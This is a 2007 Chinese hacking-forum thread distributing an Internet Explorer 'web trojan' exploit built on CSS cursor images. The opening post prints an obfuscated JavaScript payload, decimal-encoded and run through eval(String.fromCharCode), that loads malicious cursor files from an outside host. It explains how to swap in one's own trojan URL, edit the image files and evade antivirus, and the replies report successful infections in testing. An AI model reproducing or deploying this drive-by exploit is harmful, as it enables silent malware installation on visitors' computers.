12 12
发新话题
打印

2007最新IE 0day 网马(图片的那个)

2007最新IE 0day 网马(图片的那个)

鬼仔注:这个东西最近炒的很热,css调用两个图片,但是不清楚原理。
据说原来卖到8W,不过现在好像到处都有了。
刚才在xiaoguang那里看到,转过来,他的这个加了个简单的加密。

来源:XG'Blog

怎么用??
很简单 用记事本打开xg.htm现实内容如下:
t="60,33,68,79,67,84,89,80,69,32,72,84,77,76,32,80,85,66,76,73,67,32,34,45,47,47,87,51,67,47,47,68,84,68,32,72,84,77,76,32,52,46,48,32,84,114,97,110,115,105,116,105,111,110,97,108,47,47,69,78,34,62,13,10,60,72,84,77,76,62,60,72,69,65,68,62,13,10,60,77,69,84,65,32,104,116,116,112,45,101,113,117,105,118,61,67,111,110,116,101,110,116,45,84,121,112,101,32,99,111,110,116,101,110,116,61,34,116,101,120,116,47,104,116,109,108,59,32,99,104,97,114,115,101,116,61,98,105,103,53,34,62,13,10,60,77,69,84,65,32,99,111,110,116,101,110,116,61,34,77,83,72,84,77,76,32,54,46,48,48,46,50,57,48,48,46,51,48,53,57,34,32,110,97,109,101,61,71,69,78,69,82,65,84,79,82,62,60,47,72,69,65,68,62,13,10,60,66,79,68,89,62,32,13,10,60,68,73,86,32,115,116,121,108,101,61,34,67,85,82,83,79,82,58,32,117,114,108,40,39,104,116,116,112,58,47,47,119,119,119,46,101,120,101,100,105,121,46,99,110,47,97,46,106,112,103,39,41,34,62,13,10,60,68,73,86,32,13,10,115,116,121,108,101,61,34,67,85,82,83,79,82,58,32,117,114,108,40,39,104,116,116,112,58,47,47,119,119,119,46,101,120,101,100,105,121,46,99,110,47,98,46,106,112,103,39,41,34,62,60,47,68,73,86,62,60,47,68,73,86,62,60,47,66,79,68,89,62,60,47,72,84,77,76,62"
t=eval("String.fromCharCode("+t+")");
document.write(t);</script>
<script type="text/jscript">
function init() {
document.write(Date());
}
window.onload = init;
</script>

然后用ascii.exe转换修改 替换进去。如下图




最后就是用ue修改jpg图片里的地址了。。。。。
附件: 您所在的用户组无法下载或查看附件

TOP

看了听说不错哦!!

TOP

我已经在本机测试...........成功!

IE稍微有点微卡...哈哈!

好马哦~~~ [s:21] [s:21] [s:21]

TOP

老大,这个ASCII怎么转换呀~`
我怎么出来了的`~

TOP

按照图片那里的.把木马地址换成自己的 然后转换成十进制的. 把转完的替换到HTM文件中去就可以了.
图片要记得用UE修改哦

不过现在那两个图片已经被杀毒软件查杀了....免杀得自己弄咯

TOP

不明白怎么用哦

TOP

仔细看下..很简单的... [s:11]

TOP

经测试,无效winxp-xp2
未开杀软`~

TOP

无效?! 还是你开玩笑???

我怎么成功了呢?!

TOP

楼上的有QQ吗,加QQ聊可以吗~`
我测试,只有现在时间,日期``
是不是我的已经打上补丁了~

TOP

 12 12
发新话题